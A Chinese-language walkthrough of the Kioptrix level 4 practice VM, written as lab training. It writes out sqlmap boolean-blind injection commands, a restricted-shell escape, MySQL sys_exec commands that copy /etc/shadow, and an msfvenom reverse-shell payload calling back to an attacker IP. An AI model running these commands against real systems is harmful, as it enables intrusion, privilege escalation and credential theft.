level-4-布尔盲注
::: {.container}
::: {.post}
::: {.show-content}
(下载地址见以前的文章)该虚拟机下载下来后只有一个vmdk文件,要创建一个新建一个虚拟机才能使用,方法详情
按例扫描IP和端口,信息搜集如下:
192.168.1.107
22(ssh)、80(http)、139(Samba)、445
22端口版本 OpenSSH 4.7p1
80端口 Apache/2.2.8 (Ubuntu) PHP/5.2.4-2 ubuntu5.6 with
Suhosin-Patch Server
经过paros的爬虫,确认该网站只有这么一个登陆表单,没有其余隐藏内容。
该网页确认似乎没有绕过表单的漏洞,单引号没有报错,提示错误的用户名和密码。提交用户名和密码使用的是post方式。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
再用paros进行扫描,发现可能有sql注入漏洞。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
139端口 netbios-ssn Samba smbd 3.X - 4.X
445端口 netbios-ssn Samba smbd 3.0.28a
linux内核版本 Linux 2.6.9 - 2.6.33
smb-enum-users: Domain: KIOPTRIX4; Users: john, loneferret, nobody,
robert, root
使用的命令:
nmap --script=auth 192.168.1.107
nmap --script=vuln -P0 -A -sT 192.168.1.107
有针对性的再次探测
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
确认了sql注入,获取了数据库类型为Mysql。有注入的是mypassword参数。myusername参数用单引号没有报错。
sqlmap -u "http://192.168.1.107\" --forms --dbms=MySQL
没有检测出sql注入, all tested parameters appear to be not
injectable…….
参考
sqlmap -u "http://192.168.1.107/checklogin.php\"
--data="mypassword=root"sqlmap -u "http://192.168.1.107/checklogin.php\"
--data="mypassword=' or '1'='1"
最后一条命令检测出了,可以看到的是使用的布尔盲注。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
然后就可以如行云流水般的获取到用户名和密码。
当前数据库 members 表名members 列名 id;username;password
password数据:ADGAdsafdfwt4gadfga==
MyNameIsJohn
用户名:john
robert
什么情况?明文密码,你TM逗我。。
ssh登陆:尝试robert,貌似不是随便一台主机都能连接,绑定了。ssh公钥检查
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
算了换一个,通过john / MyNameIsJohn,成功登陆
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
貌似shell被占用,screw up的意思是"一个完全管理不善或者处理不当的情况"
于是能够运行的命令就很有限了。
突破限制的shell
echo os.system('/bin/bash')
echo是一个把字符串输出到终端上的命令。
本来是被限制了的shell,如果运行别的命令,就会不予执行。
本来你关在牢房里,活动空间不过几平米。然而运行这条命令,就相当于把锁打开。echo相当于我们的中间人,它返回了bash
shell。
提权
现在是普通用户权限,可以通过那些有着管理员权限的程序,执行只有管理员才能执行的命令。
就好比,你的权限没有那么大,但是你的朋友有,于是你可以让他你的忙,达成你一个人办不成的事情。
ps aux | grep root
查看具有管理员权限的进程
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
不知道这里为什么没有输入密码,就可以登陆mysql。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
select load_file('/etc/passwd'); 查看是否能显示用户名,可以
**select load_file('/etc/shadow'); 查看能否显示密码,不能
**
**select sys_exec("cat /etc/shadow > /tmp/shadow");
将密码文件复制到其他目录
**
**select sys_exec("chown john /tmp/shadow");
将复制后的密码文件赋予查看权限
**
**cat /tmp/shadow; 查看密码
**
之后和上一关一样,用msfvenom创建攻击载荷,用nc发送该文件。用mysql运行攻击载荷。成功获取最高权限。
**参考writeup
**
总结:
mysql中执行命令的方式为,select sys_exec('需要执行的bash shell命令')
创建攻击载荷的命令:-p是payload,-f是format。确定攻击载荷的平台类型和形式。elf是linux平台可执行文件,类似与exe。
msfvenom -p linux/x86/shell_reverse_tcp -f elf lhost=192.168.60.136
lport=1234 > /var/www/shell
:::
:::
:::